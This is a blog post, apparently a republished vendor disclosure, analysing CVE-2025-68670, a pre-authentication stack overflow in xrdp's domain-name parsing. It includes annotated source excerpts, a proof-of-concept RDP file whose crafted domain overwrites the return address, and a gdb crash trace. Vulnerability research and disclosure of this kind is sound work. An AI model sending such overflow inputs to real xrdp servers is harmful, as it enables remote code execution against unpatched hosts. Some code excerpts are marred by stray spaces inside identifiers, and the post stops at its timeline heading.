{"id":2972,"date":"2026-05-08T08:04:25","date_gmt":"2026-05-08T08:04:25","guid":{"rendered":"https:\/\/blog.ibvl.in\/index.php\/2026\/05\/08\/cve-2025-68670-discovering-an-rce-vulnerability-in-xrdp\/"},"modified":"2026-05-08T08:04:25","modified_gmt":"2026-05-08T08:04:25","slug":"cve-2025-68670-discovering-an-rce-vulnerability-in-xrdp","status":"publish","type":"post","link":"https:\/\/blog.ibvl.in\/index.php\/2026\/05\/08\/cve-2025-68670-discovering-an-rce-vulnerability-in-xrdp\/","title":{"rendered":"CVE-2025-68670: discovering an RCE vulnerability in xrdp"},"content":{"rendered":"
\n

\"\"<\/p>\n

In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client<\/a>, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session \u2013 all while maintaining connection security.<\/p>\n

We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670<\/a>. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin<\/a>. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.<\/p>\n

Client data transmission via RDP<\/h2>\n

Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows<\/a>:<\/p>\n

{\r\n[..SNIP..]\r\nchar username[INFO_CLIENT_MAX_CB_LEN];\r\nchar password[INFO_CLIENT_MAX_CB_LEN];\r\nchar domain[INFO_CLIENT_MAX_CB_LEN];\r\nchar program[INFO_CLIENT_MAX_CB_LEN];\r\nchar directory[INFO_CLIENT_MAX_CB_LEN];\r\n[..SNIP..]\r\n}<\/pre>\n
The value of the INFO_CLIENT_MAX_CB_LEN<\/a> constant corresponds to the maximum string length and is defined as follows:<\/p>\n
#define INFO_CLIENT_MAX_CB_LEN 512<\/pre>\n
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8<\/a> before saving it.<\/p>\n
if (ts_info_utf16_in( \/\/ [1]\r\n            s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) \/\/ [2]\r\n{\r\n[..SNIP..]\r\n}<\/pre>\n
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection<\/a> [3].<\/p>\n
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)\r\n{\r\n   int rv = 0;\r\n   LOG_DEVEL(LOG_LEVEL_TRACE, \"ts_info_utf16_in: uni_len %d, dst_len %d\", src_bytes, dst_len);\r\n   if (!s_check_rem_and_log(s, src_bytes + 2, \"ts_info_utf16_in\"))\r\n   {\r\n       rv = 1;\r\n   }\r\n   else\r\n   {\r\n       int term;\r\n       int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes \/ 2,\r\n                                                 dst, dst_len); \r\n       if (num_chars > dst_len) \/\/ [3]\r\n       {\r\n           LOG(LOG_LEVEL_ERROR, \"ts_info_utf16_in: output buffer overflow\"); rv = 1;\r\n       }\r\n       \/ \/ String should be null-terminated. We haven't read the terminator yet\r\n       in_uint16_le(s, term);\r\n       if (term != 0)\r\n       {\r\n           LOG(LOG_LEVEL_ERROR, \"ts_info_utf16_in: bad terminator. Expected 0, got %d\", term);\r\n           rv = 1;\r\n       }\r\n   }\r\n   return rv;\r\n}<\/pre>\n
Next, the in_utf16_le_fixed_as_utf8_proc<\/a> function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].<\/p>\n
{\r\n   unsigned int rv = 0;\r\n   char32_t c32;\r\n   char u8str[MAXLEN_UTF8_CHAR];\r\n   unsigned int u8len;\r\n   char *saved_s_end = s->end;\r\n\r\n   \/\/ Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK\r\n   parser_stream_overflow_check(s, n * 2, 0, file, line); #endif\r\n   \/\/ Temporarily set the stream end pointer to allow us to use\r\n   \/\/ s_check_rem() when reading in UTF-16 words\r\n   if (s->end - s->p > (int)(n * 2))\r\n   {\r\n       s->end = s->p + (int)(n * 2);\r\n   }\r\n\r\n   while (s_check_rem(s, 2))\r\n   {\r\n       c32 = get_c32_from_stream(s);\r\n       u8len = utf_char32_to_utf8(c32, u8str);\r\n       if (u8len + 1 <= vn) \/\/ [4]\r\n       {\r\n           \/* Room for this character and a terminator. Add the character *\/\r\n           unsigned int i;\r\n           for (i = 0 ; i < u8len ; ++i)\r\n           {\r\n               v[i] = u8str[i];\r\n           }\r\n\r\n           v n -= u8len;\r\n           v += u8len;\r\n       }\r\n\r\n       else if (vn > 1)\r\n       {\r\n           \/* We've skipped a character, but there's more than one byte\r\n           * remaining in the output buffer. Mark the output buffer as\r\n           * full so we don't get a smaller character being squeezed into\r\n           * the remaining space *\/\r\n           vn = 1;\r\n       }\r\n\r\n       r v += u8len;\r\n   }\r\n   \/\/ Restore stream to full length s->end = saved_s_end;\r\n   if (vn > 0)\r\n   {\r\n       *v = '\u0000'; \/\/ [5]\r\n   }\r\n   + +rv;\r\n   return rv;\r\n}<\/pre>\n
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.<\/p>\n
CVE-2025-68670: an RCE vulnerability in xrdp<\/h2>\n
The vulnerability exists within the xrdp_wm_parse_domain_information<\/a> function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.<\/p>\n
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,\r\n     int decode, char *resultBuffer)\r\nxrdp_login_wnd_create(struct xrdp_wm *self)\r\nxrdp_wm_init(struct xrdp_wm *self)\r\nxrdp_wm_login_state_changed(struct xrdp_wm *self)\r\nxrdp_wm_check_wait_objs(struct xrdp_wm *self)\r\nxrdp_process_main_loop(struct xrdp_process *self)<\/pre>\n
The code snippet where the vulnerable function is called looks like this<\/a>:<\/p>\n
char resultIP[256]; \/\/ [7]\r\n[..SNIP..]\r\ncombo->item_index = xrdp_wm_parse_domain_information(\r\n    self->session->client_info->domain, \/\/ [6]\r\n    combo->data_list->count, 1,\r\n    resultIP \/* just a dummy place holder, we ignore\r\n*\/ );<\/pre>\n
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let\u2019s look at exactly what the vulnerable function<\/a> does with these arguments.<\/p>\n
static int\r\nxrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,\r\n                                                              int decode, char *resultBuffer)\r\n{\r\n    int ret;\r\n    int pos;\r\n    int comboxindex;\r\n    char index[2];\r\n\r\n    \/* If the first char in the domain name is '_' we use the domain name as IP*\/\r\n    ret = 0; \/* default return value *\/\r\n    \/* resultBuffer assumed to be 256 chars *\/\r\n    g_memset(resultBuffer, 0, 256);\r\n    if (originalDomainInfo[0] == '_') \/\/ [8]\r\n    {\r\n        \/* we try to locate a number indicating what combobox index the user\r\n         * prefer the information is loaded from domain field, from the client\r\n         * We must use valid chars in the domain name.\r\n         * Underscore is a valid name in the domain.\r\n         * Invalid chars are ignored in microsoft client therefore we use '_'\r\n         * again. this sec '__' contains the split for index.*\/\r\n        pos = g_pos(&originalDomainInfo[1], \"__\"); \/\/ [9]\r\n        if (pos > 0)\r\n        {\r\n            \/* an index is found we try to use it *\/\r\n            LOG(LOG_LEVEL_DEBUG, \"domain contains index char __\");\r\n            if (decode)\r\n            {\r\n                [..SNIP..]\r\n            }\r\n            \/ * pos limit the String to only contain the IP *\/\r\n            g_strncpy(resultBuffer, &originalDomainInfo[1], pos); \/\/ [10]\r\n        }\r\n        else\r\n        {\r\n            LOG(LOG_LEVEL_DEBUG, \"domain does not contain _\");\r\n            g_strncpy(resultBuffer, &originalDomainInfo[1], 255);\r\n        }\r\n    }\r\n    return ret;\r\n}<\/pre>\n
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name\u00a0\u2013 starting from the second character and ending with the double underscore (\u201c__\u201d)\u00a0\u2013 is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it\u2019s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker\u2019s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).<\/p>\n
To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial \u201c_\u201d and the subsequent \u201c__\u201d. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.<\/p>\n
PoC<\/h2>\n
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server\u2019s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string \u201cAAAAAAAA\u201d. The contents of the RDP file are shown below:<\/p>\n
alternate full address:s:172.22.118.7\r\nfull address:s:172.22.118.7\r\ndomain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0\r\nusername:s:testuser<\/pre>\n
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.<\/p>\n
gef\u27a4 bt\r\n#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at .\/nptl\/pthread_kill.c:44\r\n#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at .\/nptl\/pthread_kill.c:78\r\n#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at.\/nptl\/pthread_kill.c:89\r\n#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ..\/sysdeps\/posix\/raise.c:26\r\n#4 0x00007adb2da287f3 in __GI_abort () at .\/stdlib\/abort.c:79\r\n#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e \"*** %s ***: terminatedn\") at ..\/sysdeps\/posix\/libc_fatal.c:156\r\n#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 \"stack smashing detected\") at .\/debug\/fortify_fail.c:26\r\n#7 0x00007adb2db365d6 in __stack_chk_fail () at .\/debug\/stack_chk_fail.c:24\r\n#8 0x000063654a2e5ad5 in ?? ()\r\n#9 0x4141414141414141 in ?? ()\r\n#10 0x00007adb00000a00 in ?? ()\r\n#11 0x0000000000050004 in ?? ()\r\n#12 0x00007fff91732220 in ?? ()\r\n#13 0x000000000000030a in ?? ()\r\n#14 0xfffffffffffffff8 in ?? ()\r\n#15 0x000000052dc71740 in ?? ()\r\n#16 0x3030305f70647278 in ?? ()\r\n#17 0x616d5f6130333030 in ?? ()\r\n#18 0x00636e79735f6e69 in ?? ()\r\n#19 0x0000000000000000 in ?? ()<\/pre>\n<\/p>\n
Protection against vulnerability exploitation<\/h2>\n
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.<\/p>\n
\"\"<\/a><\/p>\n
The vulnerable function is also referenced by the xrdp_wm_show_edits<\/a> function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.<\/p>\n
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against<\/a> relying solely on stack canaries when using the project.<\/p>\n
Vulnerability remediation timeline<\/h2>\n